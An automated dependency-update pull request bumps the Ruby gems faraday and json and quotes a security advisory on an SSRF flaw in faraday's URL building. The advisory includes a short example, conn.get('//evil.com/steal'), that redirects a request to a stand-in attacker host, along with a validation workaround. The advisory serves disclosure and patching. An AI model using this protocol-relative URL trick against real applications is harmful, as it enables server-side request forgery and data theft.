🚨 [security] Update faraday 2.14.0 → 2.14.1 (patch)

[depfu]

---

🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!

---

Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ faraday (2.14.0 → 2.14.1) · Repo · Changelog

Security Advisories 🚨

🚨 Faraday affected by SSRF via protocol-relative URL host override in build_exclusive_url

Impact

Faraday's build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby's
URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986,
protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references
that override the base URL's host/authority component.

This means that if any application passes user-controlled input to Faraday's get(),
post(), build_url(), or other request methods, an attacker can supply a
protocol-relative URL like //attacker.com/endpoint to redirect the request to an
arbitrary host, enabling Server-Side Request Forgery (SSRF).

The ./ prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with
/, so protocol-relative URLs bypass it entirely.

Example:

conn = Faraday.new(url: 'https://api.internal.com')
conn.get('//evil.com/steal')
# Request is sent to https://evil.com/steal instead of api.internal.com

Patches

Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.

Workarounds

NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.

Applications should validate and sanitize any user-controlled input before passing it to
Faraday request methods. Specifically:

• Reject or strip input that starts with // followed by a non-/ character
• Use an allowlist of permitted path prefixes
• Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday

Example validation:

def safe_path(user_input)
  raise ArgumentError, "Invalid path" if user_input.match?(%r{\A//[^/]})
  user_input
end

Release Notes

2.14.1

Security Note

This release contains a security fix, we recommend all users to upgrade as soon as possible.
A Security Advisory with more details will be posted shortly.

What's Changed

• Add comprehensive AI agent guidelines for Claude, Cursor, and GitHub Copilot by @Copilot in #1642
• Add RFC document for Options architecture refactoring plan by @Copilot in #1644
• Bump actions/checkout from 5 to 6 by @dependabot[bot] in #1655
• Explicit top-level namespace reference by @c960657 in #1657

New Contributors

• @Copilot made their first contribution in #1642

Full Changelog: v2.14.0...v2.14.1

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 9 commits:

• Version bump to 2.14.1
• Merge commit from fork
• Explicit top-level namespace reference (#1657)
• Bump actions/checkout from 5 to 6 (#1655)
• Ensure Claude reads the guidelines and allow to plan in a gitignored .ai/PLAN.md doc
• Add RFC document for Options architecture refactoring plan (#1644)
• Add comprehensive AI agent guidelines for Claude, Cursor, and GitHub Copilot (#1642)
• Update Faraday-specific AI agent guidelines
• Add AI agent guidelines specific to Faraday repository

↗️ json (indirect, 2.18.0 → 2.18.1) · Repo · Changelog

Release Notes

2.18.1

What's Changed

• Fix a potential crash in very specific circumstance if GC triggers during a call to to_json
  without first invoking a user defined #to_json method.

Full Changelog: v2.18.0...v2.18.1

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 17 commits:

• Release 2.18.1
• fbuffer_append_str: assume string
• Ensure `Generator::State` is kept on the stack
• Improve class JSON intro
• Extract json_fast_memcpy16 for readability
• Use __builtin_memcpy, if available, to copy overlapping byte ranges in copy_remaining_bytes to avoid a branch to MEMCPY. Additionally use a space as padding byte instead of an 'X' so it can be represented diretly on AArch64 with a single instruction.
• Remove trailing spaces [ci skip]
• initialize search.chunk_end to silence a warning about it being potentially uninitialized
• use a conditional to select SIMD implementation rather than pointer
• Directly write to the output buffer when converting UTF32 to UTF8.
• Merge pull request #921 from nobu/nonportable-code
• Fix non-portable code
• Simplify unescape_unicode
• Keep track of the the number of additional backslashes to avoid an extra memchr searching the remaining characters when no more backslashes exist.
• Add missing documentation for `allow_control_characters` parsing option
• Update `fpconv_dtoa` definition to use `dest[32]`
• Revert "Skip test failing with JRuby in CI"

---

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands

@​depfu rebase

Rebases against your default branch and redoes this update

@​depfu recreate

Recreates this PR, overwriting any edits that you've made to it

@​depfu merge

Merges this PR once your tests are passing and conflicts are resolved

@​depfu cancel merge

Cancels automatic merging of this PR

@​depfu close

Closes this PR and deletes the branch

@​depfu reopen

Restores the branch and reopens this PR (if it's closed)

@​depfu pause

Ignores all future updates for this dependency and closes this PR

@​depfu pause [minor|major]

Ignores all future minor/major updates for this dependency and closes this PR

@​depfu resume

Future versions of this dependency will create PRs again (leaves this PR as is)

[codecov]

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 100.00%. Comparing base (4763359) to head (969a1c1).

Additional details and impacted files

@@            Coverage Diff            @@
##              main       #80   +/-   ##
=========================================
  Coverage   100.00%   100.00%           
=========================================
  Files           16        16           
  Lines          362       362           
=========================================
  Hits           362       362           

☔ View full report in Codecov by Sentry.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:

• ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.

[sonarqubecloud]

Quality Gate passed

Issues
0 New issues
0 Accepted issues

Measures
0 Security Hotspots
0.0% Coverage on New Code
0.0% Duplication on New Code

See analysis details on SonarQube Cloud